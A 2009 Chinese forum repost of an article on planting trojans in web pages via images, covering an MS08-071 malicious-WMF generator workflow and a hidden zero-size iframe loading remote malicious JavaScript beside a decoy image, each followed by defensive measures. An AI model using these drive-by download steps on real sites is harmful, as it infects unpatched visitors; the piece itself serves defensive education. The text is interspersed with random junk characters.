找回密码
 注册
查看: 1064|回复: 0

反击网页挂马:潜伏在图片中地害群之“马”

[复制链接]
发表于 2009-2-21 15:42:11 | 显示全部楼层 |阅读模式
在网页挂马历史中,图片挂马是非常“古老”的。为什么古老的挂马技术到现在还在大量被使用?为什么它能肆无忌惮?我们又该怎么防范它?身为一名安全工程师,这些你不能不知道…… - v/ A8 m0 E6 c1 M4 h. |7 A
$ n3 `: z/ T; p9 l( \$ K# [' f
2 b8 J/ z6 Y  L1 F7 n
  锐甲团队李海波:许多著名的论坛都出现过被黑客利用图片挂马的事件,图片挂马是一种典型的溢出攻击,这种攻击非常危险。黑客利用图片挂马的途径花样百出,最典型的途径就是广告方式,曾经就出现过黑客购买某门户网站的广告位置用来挂马的事件。由于某些网站为了方便广告客户更换广告,因此广告图片都不是保存在自己网站空间中的,而是直接指向了客户指定的地址,因此黑客在购买广告位置之后,将指向广告的图片修改为恶意溢出图片,导致了许多用户误认为是该门户网站被黑客挂马。
7 R  e0 l1 P! `$ c( I  部分网站管理人员在做网站安全维护的时候,往往认为维护一次就可以了,不是忽略了反病毒系统的升级就是忘记了定期审查程序和系统,进行有计划的维护,因此导致许多网站屡屡被黑客溢出攻击。所以一个合格的安全工程师,应该做到面对复杂项目也能有事无巨细地进行审核排查的耐心,时刻关注各种安全公告的发布与更新。这是防堵网络挂马的终极策略。% }& I: m% y  x& J, I
  图片挂马为什么备受青睐?
& w# e; i3 v. S) j  黑客们之所以热衷于用图片挂马的方式抓肉鸡,主要是图片挂马的隐蔽性相对较高,网管想在成千上万张图片中找到有害文件,既费时又费力。此外,通过嵌入的方式将看似没有问题的图片嵌入网页中,本身就很难发现。9 t) R! }* D, ]2 h  ^) e
  更重要的是,图片永远是捕获肉鸡的最好诱饵。黑客往往只需要将木马挂到网站上之后,再取一个耸人听闻或者暗示性极强的名字,就会有源源不断的肉鸡找上门来。所以图片挂马就如同古代传说中会吃人的美人鱼一样,先用动听的歌声将在大海中航行的水手迷惑,让他们偏离航向,进而自投罗网落入美人鱼布好的陷阱中。5 A- E1 O7 @% w9 [# r& q% L9 _
  图片挂马的主要方式有两种,一种是直接利用JPG漏洞、GDI漏洞或者ANI漏洞等进行溢出挂马,将制作好的溢出文件,直接上传或者链接到入侵的网站中,等待没有打补丁的用户中招。* z6 y. G* p* R4 O4 W
  另外一种是将图片伪装后挂马。将包含JS代码或者IFRAME代码的网页木马加密后添加到HTML文件中。
7 B$ m4 w, w1 ^8 L' N7 v  ]& D9 y  图片挂马攻防实录  u7 A, Z) m2 ~6 @( Y
  方式1:图片漏洞挂马4 \7 N' t2 V% q; M
  
! a  H, V0 O$ K3 ^  
这种挂马方式主要利用的是系统或者建站程序的漏洞。我们以MS08-071漏洞为例讲解这种挂马方式。首先打开《MS08-071漏洞溢出生成器》,在地址一栏中输入木马所在地址(图1)。
+ P0 g* r% q, \  e+ b5 G* i+ d# ]

+ X8 g2 [  Y' ]2 R0 ~9 |+ d  然后在图片地址选项中选择一张正常的图片(优先选择BMP格式图片),点击“生成”之后,含有恶意代码的图片(WMF格式)就出现在溢出程序所在的目录中了(图2)。 3 C. l9 D3 e+ \. x# N* S1 u

. ]3 _& z. E' S* C+ d2 v! q' E* v
5 Y" y$ i6 Z3 b1 K$ j3 X
  C7 T; ]3 E( a& G
  小百科:MS08-071漏洞是一个远程代码执行漏洞,如果用户打开特制的 WMF文件、图像文件等,就会触发漏洞,被黑客远程控制。黑客拥有查看、更改、删除数据或者创建新账户的权限。, Z1 s5 J% K4 {
  恶意图片生成后,接下来将它保存到指定的网站中,在需要挂马的网页中添加正常的图片显示代码::<img src="http://192.168.1.178/ms08071.wmf" width="1" height="1" />,这里的IP地址要根据实际情况进行修改。代码添加完成之后,所有访问者都会在浏览该网页时中招。
$ A5 s/ }  U' P  ( c  Q/ i4 ~3 k9 h6 P. |( R2 Q" b! e
  
防范这种图片挂马方式最好的办法就是部署服务器反病毒系统,通常反病毒系统在查杀这种漏洞溢出木马时效率和速度会比较高。在必要时,也要提醒工作单位的员工及时升级系统补丁,防止内部感染。这种通过恶意图片进行溢出挂马的方式目前有JPG、GIF、ANI、GDI等许多种,方法大同小异。" Y& f: f& o$ R1 `7 j
  此外,由于溢出文件的图片虽然有时候能够正常显示,但是多数时候仍然是无法正常显示的,特别是在用略缩图查看图片文件时,含有恶意代码的溢出图片往往无法正常显示,因此安全工程师可以使用Windows资源管理器中的略缩图查看功能,查看一下网站中哪些图片无法在略缩图模式下正常显示。5 S# d- W" s* K$ x5 x* o) f; \; i0 d. e
方式2:图片伪装挂马* @4 {# Q) V2 p1 u9 X* `
  
" E8 f7 _$ h% x0 G2 x  
这种方法比较简单,所以在最近非常盛行。具体操作方法如下:先准备好特制的JS挂马代码,然后打开写字板,输入HTML代码 (将框架内嵌的木马地址设为图片木马网页的地址):
3 V" y# b: J6 i<html>. t: w: V6 w7 t1 ]9 P. q# [
<iframe. src=" http://特制的JS挂马代码.js" height=0 width=0></iframe>
# A  U, |0 [' ?* E. ~3 @6 ?<img src=" 同路径下的图片文件.jpg "></center>7 ?+ p, I8 d9 z
</html>
# r# X8 p- j0 }7 [/ F
  将代码插入目标网站内页或另存为HTML再上传到目标网站,当用户访问该网页时,就会中招(图3)。
; @% G) `% q2 p' [/ s5 f
7 V4 @' V. O  g, p, @: Q" S9 w' T

/ _/ v% O1 F1 i0 c7 W6 j4 I  这种挂马方式其实是利用图片作为转移网页访问者视线的一种方式。更早之前,我们可以将类似的HTML代码直接另存为GIF文件,上传或者挂到动网论坛中,不过现在直接保存为GIF的方法已经失效了。
' g- d6 H3 F* i    X- {" `6 y8 }3 p
  
这种挂马的防范方法跟防范IFRAME挂马的方法类似,通过JS代码就可以阻断外域的JS文件运行。" W% _  Y$ b! ?* s$ D/ @7 u, S
  iframe{zimo1:expression(this.src='about:blank',this.outerHTML='');}
9 d# j6 d, l+ w0 z% z  i  n  script{zimo2:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}) `- D6 j& H2 t0 J- F( W2 n) A
  这段代码立即调用IE私有的execCommand方法来停止页面所有请求,所以外域JS文件也被强制停止下载了,就像我们点了浏览器的“停止”按钮一样。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|光学薄膜论坛

GMT, 2025-12-20 , Processed in 0.026092 second(s), 22 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表